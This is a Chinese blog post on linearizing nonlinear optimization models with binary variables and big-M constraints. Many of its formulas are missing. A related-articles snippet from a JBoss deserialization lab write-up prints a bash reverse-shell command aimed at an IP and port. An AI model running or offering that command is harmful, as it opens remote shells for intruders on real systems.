非线性建模问题的线性化思考

news2024/11/15 10:42:20

很长时间没有提笔写博,近两年来一直从事规划领域方面的研究,在熟悉业务的同时,对规划算法也有了新的看法。相比智能算法的概率性,规划算法对求解的精确性要求更高。

本篇博客将围绕非线性问题如何线性化典型问题,分类归纳,给正在入手线性规划的同学们带来系列思考感悟。

文章目录

  • 前言
  • 一、非线性规划问题的典型特征
  • 二、常用处理技巧
    • 分段函数形式
    • 条件约束形式
    • 绝对值函数形式
    • 最小/大值函数形式
    • 逻辑或形式
    • 含有0-1变量的乘积形式
    • 混合整数形式
    • 分式目标函数
  • 总结

前言

我们知道,对于线性规划问题,有非常成熟的求解方法——单纯形法。可实际在科研建模时,目标函数或是约束条件,极大概率会出现非线性的形式。

此时若选择采用启发式算法求解,就相当于放弃了求精确解,而实际业务上对问题解的要求更高。因此,了解并懂得何种形式可以转化为线性和如何线性化,是非常重要的。

在解决实际较为复杂的问题时,会面临以下两个问题:

  • 我应该构建哪种非线性形式来刻画该问题?
  • 这样的非线性刻画还能否线性化(决定了还能否求得精确解)?

为了回答好这两个问题,本文将围绕《非线性问题的典型特征刻画》《线性化处理技巧》两部分解释。


一、非线性规划问题的典型特征

笔者认为,经典线性规划问题可以统一转换为矩阵化的范式:

object: min CX

constraintsB\leq AX\leq U 

variablesX\in \mathbb{R}_{m\times n} 满足其他条件等

然后可采用单纯形法进行处理。单纯形法本质是迭代找每个问题解空间的凸点,不断更新凹点最终缩小解空间到截止,则最优解必存在某一凸点上。这也就是凸优化的常用求解途径(很多学者都会研究非凸优化发paper)。有意思的是国内外的凸凹翻译是反的。而我们认为非线性规划就是一个非凸问题。

回到正题,非线性规划问题的典型数学特征为,具有:

  • 分段函数形式
  • 条件约束形式
  • 绝对值函数形式
  • 最小/大值函数形式
  • 逻辑或形式
  • 含有0-1变量的乘积形式
  • 混合整数形式
  • 分式目标函数

以上均可实现线性化。

二、常用处理技巧

线性化的主要手段其实就两点:

  • 引入0-1变量
  • 引入很大的整数M

灵活运用这两点会呈现非常巧妙且神奇的线性化技巧。

1.分段函数

(1)示例1

分段函数f(x)的表达式如下,问题域为0 \leq x \leq c

如果要对分段函数f(x)进行线性化处理,则需要引入0-1辅助变量\lambda和一个很大的正整数M


对上式分析可知:

①考虑\lambda _1=1, \lambda _2=0, \lambda _3=0,对应分段函数1,且约束均成立

②考虑\lambda _1=0, \lambda _2=1, \lambda _3=0,对应分段函数2,且约束均成立

③考虑\lambda _1=0, \lambda _2=0, \lambda _3=1,对应分段函数3,且约束均成立

(2)继而推广至K项分段函数

 通过增加K个0,1变量,以及极大值M,实现线性化

(3)总结分析

1)约束区间的适应性

约束区间可适应\leq\geq<>,不影响以上特性。

2)约束区间的特定性

  • 上界可推广至\infty
  • 下界有且仅有能为零,因为\lambda _k为0/1变量,仅\lambda _k为1时,其它项为零,使得约束下界为0
  • 上下界必须和问题域范围相同。在分段函数中,约束区间的并集 = 问题域

3)当约束下界为a_0\neq 0时,如何处理?①如何同问题域保持一致性②同各分段函数约束区间保持一致性?

在分段函数中,约束区间的并集 = 问题域。所以保持各分段函数约束区间一致即可。

这里结合问题域,区分两种情况讨论:

a_0<0

考虑对x坐标进行平移,增加变量y,令y=x-a_0

a_0>0

如果已定义问题域范围为a_0<x<a_k,可不做任何处理(因为问题域a_0<x<a_ka_0*0<x<a_1同时定义约束会取并集得到a_0<x<a_1,在约束区间上保持一致);未定义问题域范围时,需要考虑对x坐标进行平移,增加变量y,令y=x-a_0

2.条件约束★

条件约束相对来说较常见,可以理解为if... then...。分为单条件约束和组合条件约束。顾名思义:

(1)单条件约束

指围绕变量Variable,仅有一条约束,如:

通常为了解决约束条件,一般采用松弛法,即“将约束范围放大到无穷范围、将约束条件松弛到恒成立”。这里我们设置无穷大变量M,和0/1变量k。

通过设置两个变量,在满足约束条件的同时,对范围外松弛到恒满足约束条件,完成约束的去除 。对上式分析可知:

①考虑k=1,对应原式

②考虑k=0,对应为- \infty <f(x)<\infty,且约束-\infty < x < \infty

与分段函数不同,在分段约束中,一致性如何判定

  • 与问题域是否保持一致?只有问题域B \leq x \leq U一定要先定义(一般约束区间为问题域子集,会先行定义)才成立
  • 与条件约束是否保持一致?显然- \infty <f(x)<\infty-\infty < x < \infty成立。

(2)组合条件约束

多种单条件约束的组合,且各条件区间上不冲突。

与分段函数不同,组合约束各区间并集不一定等于问题域。

定义K个0/1变量和1个M大整数变量,线性化为以下所有公式:

分析:通过控制0/1变量\lambda_k仅有1个能为1,实现K个表达式只有1个式子对应原式,其他均为默认[-\infty , + \infty]显然成立。实现以上公式去约束、线性化。

(3)总结分析

如果问题域明确是[0, + \infty],则可以考虑以下线性操作:

3. 绝对值约束

举例:要求线性化如下数学模型

求解方法1:用yi代替绝对值部分

注意,yi=|xi|的数学含义其实就是:yi≥xi和yi≥-xi。这个数学思想非常重要,可以解决很多有关绝对值的问题。

求解方法2:用ui、vi代替

这种方法没有那么直观,一回生,二回熟嘛,以后看到绝对值问题,脑海中有这种思路就好啦。

高中或是高数课上学过如下定理:

则之前的数学模型可以线性化为:

将左边|xi|转化为ui+vi,x转化为u-v。注意,这里的x是向量奥,对于x下标中的每个i都是成立的,可不能以为只有一个约束条件。

4. 逻辑或

该部分主要针对约束条件(含有逻辑或)的线性化操作。通常,逻辑或两端的约束存在三种情形。

  • 情形1:逻辑或两段均为≤,即:

此时线性化方法为:

引入两个0-1变量M。分类讨论取0或1的四种情形便能理解以上过程。思路非常巧妙,希望大家多悟几遍并消化。

这里虽然只讲了"均为≤"的情形,大家理解了这个逻辑,对于"两边均为≥""一边≥一边≤"的情形,线性化思路是类似的。

大家可以试着写一些,我这里总结句口诀:大减小加。含义是:

只要用了大于等于,后面M前面的符号一定是减号;
只要用了小于等于,后面M前面的符号一定是加号。

大家可以思考下为什么是这样,相信你一定理解的~

  • 情形2:一端为≤,一端为=,即:

此时线性化方法为:

可见,多添加一个≥的式子即可。那么,情形3如何处理相信大家也猜到了。(感谢评论区,第三个约束的M前应该是减号,即bx≥c2-M(1-v),抱歉

  • 情形3:两端均为=,即:

此时线性化方法为:

可见,逻辑或是通过新引入的两个0/1变量u和v来控制的,再次感叹非常巧妙!

待更新


总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115568.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

协同过滤算法相关答辩问题、代码实现过程

我 | 在这里 ⭐ 全栈开发攻城狮、全网10W粉丝、2022博客之星后端领域Top1、专家博主。 &#x1f393;擅长 指导毕设 | 论文指导 | 系统开发 | 毕业答辩 | 系统讲解等。已指导60位同学顺利毕业 ✈️个人公众号&#xff1a;热爱技术的小郑。回复 Java全套视频教程 或 前端全套视频…

大学新生的学习秘诀:如何学习编程?(文末赠书)

1.为什么要学习编程 大学生学习编程不仅关乎个人技能的提升&#xff0c;还涉及到未来的职业发展、创新能力培养以及适应快速变化的社会需求。 (1)增强就业竞争力 当今数字化时代&#xff0c;编程技能已成为许多行业的必备技能。掌握编程能够让你在求职市场上脱颖而出&#x…

Vulhub Apache Airflow (CVE-2020-11978)

来到目录下初始化数据库 然后开启环境 查看端口访问 访问http://your-ip:8080进入airflow管理端&#xff0c;将example_trigger_target_dag前面的Off改为On&#xff1a; 再点击执行按钮&#xff0c;在Configuration JSON中输入&#xff1a;{"message":"\";…

SwiftUI 中如何花样玩转 SF Symbols 符号动画和过渡特效

概述 作为 Apple 开发中的全栈秃头老码农们&#xff0c;我们不但需要精通代码编写更需要有过硬的界面设计艺术功底。为了解决撸码与撸图严重脱节这一窘境&#xff0c;苹果从 iOS 13&#xff08;macOS 11&#xff09;开始引入了 SF Symbols 字符图形。 有了 SF Symbols&#xf…

【 html+css 绚丽Loading 】000043 太一玄元镜

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽Loading&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495…

ANSA联合ABAQS基于梁单元的螺栓预紧力分析实例

1、在螺栓孔之间创建一个模拟螺栓 ABAQUS界面→AUXILIARIES→bolt→分鳖选择上下两圈节点,这样在螺栓孔中间就会生成一个梁单元。 中键确定,因为螺杆使用的是变形体,所以接下来需要为其创建一个属性: 单击ok,完成虚拟螺栓的创建,该螺栓两端是刚性MPC,中间是弹性的梁单元…

Jboss远程代码执行漏洞(CVE-2017-12149)

还是先开启环境 浏览器访问跟上一个一模一样页面 还是用ysoserial.jar工具 然后准备好反弹shell的命令&#xff0c;需要对其进行base64加密 //反弹shell命令&#xff0c;注意替换为自己的 bash -i >& /dev/tcp/192.168.75.162/6666 0>&1 //base64加密 YmFzaCAt…

git:分支管理

目录 一、分支概念 二、创建分支 三、切换分支 四、合并分支 五、删除分支 六、合并冲突 七、分支管理策略 八、分支策略 九、bug分支 十、强制删除分支 一、分支概念 在版本回退里&#xff0c;每次提交&#xff0c;git都把它们串成一条时间线&#xff0c;这条时间线可以…

基于51单片机的倒计时定时器proteus仿真

地址&#xff1a; https://pan.baidu.com/s/1_Ig_S0KKrba9VAjovDW71g 提取码&#xff1a;1234 仿真图&#xff1a; 芯片/模块的特点&#xff1a; AT89C52/AT89C51简介&#xff1a; AT89C52/AT89C51是一款经典的8位单片机&#xff0c;是意法半导体&#xff08;STMicroelectr…

【Hot100】LeetCode—215. 数组中的第K个最大元素

目录 1- 思路快速选择 2- 实现⭐215. 数组中的第K个最大元素——题解思路 3- ACM实现 原题连接&#xff1a;215. 数组中的第K个最大元素 1- 思路 快速选择 第 k 大的元素的数组下标&#xff1a; int target nums.length - k 1- 根据 partition 分割的区间来判断当前处理方式…

Spring表达式语言(SPEL)(05)

表达式模板 表达式模板允许将文字文本与一个或多个评估块混合。每个评估块都由前缀和后缀字符分隔&#xff0c;默认是#{}。支持实现接口ParserContext自定义前后缀。调用parseExpression()时指定 ParserContext参数如&#xff1a;new TemplateParserContext()&#xff0c;#{}包…

还不会剪音乐?试试这四款在线音频剪辑

音频剪辑很多人都没有接触过。其实这并不是一个难事&#xff0c;我们甚至可以用一些简单的工具来给自己做个简单的BGM&#xff0c;最近我尝试了几款不同的音频剪辑工具。今天就来跟大家分享一下我的使用体验&#xff0c;看看哪款工具更适合你的需求。 一、福昕音频剪辑 网址&…

通信工程学习:什么是FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用

FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用 FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用是通信领域中常见的四种复用技术&#xff0c;它们各自具有不同的特点和应用场景。以下是对这四种复用技术的详细解释&#xff1a; 一、FDM频分复用&#xff08;Frequ…

AIGC6: 走进腾讯数字盛会

图中是一个程序员&#xff0c;去参加一个技术盛会。AI大潮下&#xff0c;五颜六色&#xff0c;各种不确定。 背景 AI对各行各业的冲击越来越大&#xff0c;身处职场的我也能清晰的感受到。 我所在的行业为全球客服外包行业。 业务模式为&#xff1a; 为国际跨境公司提供不同…

强推!创新直发核心!时序分解+优化组合+模型对比!VMD-SSA-Transformer-BiLSTM多变量时间序列预测

强推&#xff01;创新直发核心&#xff01;时序分解优化组合模型对比&#xff01;VMD-SSA-Transformer-BiLSTM多变量时间序列预测 目录 强推&#xff01;创新直发核心&#xff01;时序分解优化组合模型对比&#xff01;VMD-SSA-Transformer-BiLSTM多变量时间序列预测效果一览基…

kubernetes集群部署Zabbix监控平台

一、zabbix介绍 1.zabbix简介 Zabbix是一个基于Web界面的分布式系统监控的企业级开源软件。可以监视各种系统与设备的参数&#xff0c;保障服务器及设备的安全运营。 2.zabbix特点 &#xff08;1&#xff09;安装与配置简单。 &#xff08;2&#xff09;可视化web管理界面。 &a…

【超简单】1分钟解决ppt全文字体一键设置

省流 ppt的全部字体需要在“幻灯片母版”里面&#xff0c;“自定义字体”去设置好标题与正文的字体之后才算全部设置完毕 “视图”---“幻灯片母版” 找到“字体”---“自定义字体” 设置好中文和西文的字体&#xff0c;都可以按照自己的选择来&#xff0c;保存即可 吐槽 之…

【路径规划】一种用于控制约束高维非线性系统的神经路径规划算法

摘要 本研究提出了一种神经路径规划算法&#xff0c;用于解决高维非线性系统在约束条件下的控制问题。该方法结合了人工神经网络&#xff08;ANN&#xff09;和快速随机树&#xff08;RRT&#xff09;算法&#xff0c;通过神经网络对复杂系统的动态进行建模&#xff0c;并使用…

万物皆可“浮动”(补充)——WEB开发系列33

​​float​​ 属性最初的设计目的是在文本块内使图像浮动&#xff0c;从而让文字环绕在图像的左右两侧&#xff0c;这种效果在报纸版面中很常见。随着时间的推移&#xff0c;这一属性已成为网页设计中实现多列布局的常用工具。最开始&#xff0c;​​float​​ 主要用于在文本…

YOLOv8改进 | 检测头篇 | YOLOv8引入DynamicHead检测头

1. DynamicHead描述 1.1 摘要:在目标检测中,定位和分类相结合的复杂性导致了各种方法的蓬勃发展。以往的工作试图提高各种目标检测头的性能,但未能呈现出统一的观点。本文根据目标检测的特点,推导了一种新的动态头部框架,将目标检测头部与注意力统一起来。该方法通过在特…